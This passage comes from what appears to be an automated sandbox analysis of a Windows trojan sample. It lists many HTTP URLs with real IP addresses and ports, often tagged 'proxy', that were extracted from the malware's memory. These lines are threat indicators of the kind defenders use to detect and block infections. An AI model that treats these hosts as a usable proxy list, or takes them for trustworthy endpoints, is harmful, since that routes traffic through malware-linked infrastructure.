Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:4971://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:60406
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.117:60406://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:37106
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:37106://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C65B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:37106x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:3820
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:3820://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:49878
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:49878://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C940C000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C941A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:50205
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C940C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.1:50205://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.239:37785
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.253.239:37785://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EEE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9185000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.255.53:15619
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8EFA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.12.255.53:15619://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.176.54.34:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.176.54.34:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8460000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C661F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.122.10:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.122.10:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.70.20:31028
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.70.20:31028://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.86.11:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.86.11:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.86.11:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.199.86.11:8080://proxy0
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7820000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C780F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.211.99.26:9300
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.211.99.26:9300://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.27.82.143:2458
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.27.82.143:2458://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.27.82.161:9050
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.27.82.161:9050://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.37.57.112
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.37.57.112://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.37.57.112:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.44.255.3
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.44.255.3://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.44.255.3:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.49.68.80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.49.68.80://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.49.68.80:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:17986
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:17986://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:31683
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:31683://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C699A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:38242
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.195.42:38242://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.211.235:11096
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.57.211.235:11096://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.8.84.3:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBA8A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://198.8.84.3:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C927B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.105.242:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C927B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.105.242:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD140000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.106.94:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.106.94:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.107.145:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.102.107.145:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.188.92.47:8000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.188.92.47:8000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.188.93.214:9000
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.188.93.214:9000://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.204.248.118:49165
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.204.248.118:49165://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.204.248.124:59484
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.204.248.124:59484://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBD5F000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.204.248.170:49165
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBE93000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.204.248.170:49165://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.229.254.129:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.229.254.129:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.58.184.97:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.58.184.97:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD07F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.60.103.160
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.60.103.160://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://199.60.103.160:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F3B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.138.19.228:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7F83000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.138.19.228:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.139.187.83:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6D06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.139.187.83:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.189.148.1:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7670000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.189.148.1:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.239.213.133:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.239.213.133:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.57.131.19:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://2.57.131.19:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.111.54.16
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.111.54.16://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.111.54.16:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C937E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.111.54.16:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93E9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.111.54.16:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.118.133.34:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C64DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.118.133.34:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.121.139.25:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.121.139.25:3128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.163.133.5
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.163.133.5://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.187.77.5
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C773A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.187.77.5://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.187.77.5:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.193.135.5
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.193.135.50
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.193.135.50://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.193.135.50:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.193.135.5://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6231000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.193.135.5:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.190.254:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.190.254:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.45:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.45:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.76:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.76:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.212.76:3129x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.23:3129
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C63C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.204.214.23:3129://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.115.87:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.115.87:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.205.61.143:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192:8123
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.206.106.192:8123://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.21.128.105
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.21.128.105://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.21.128.105:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://20.210.113.32://proxy
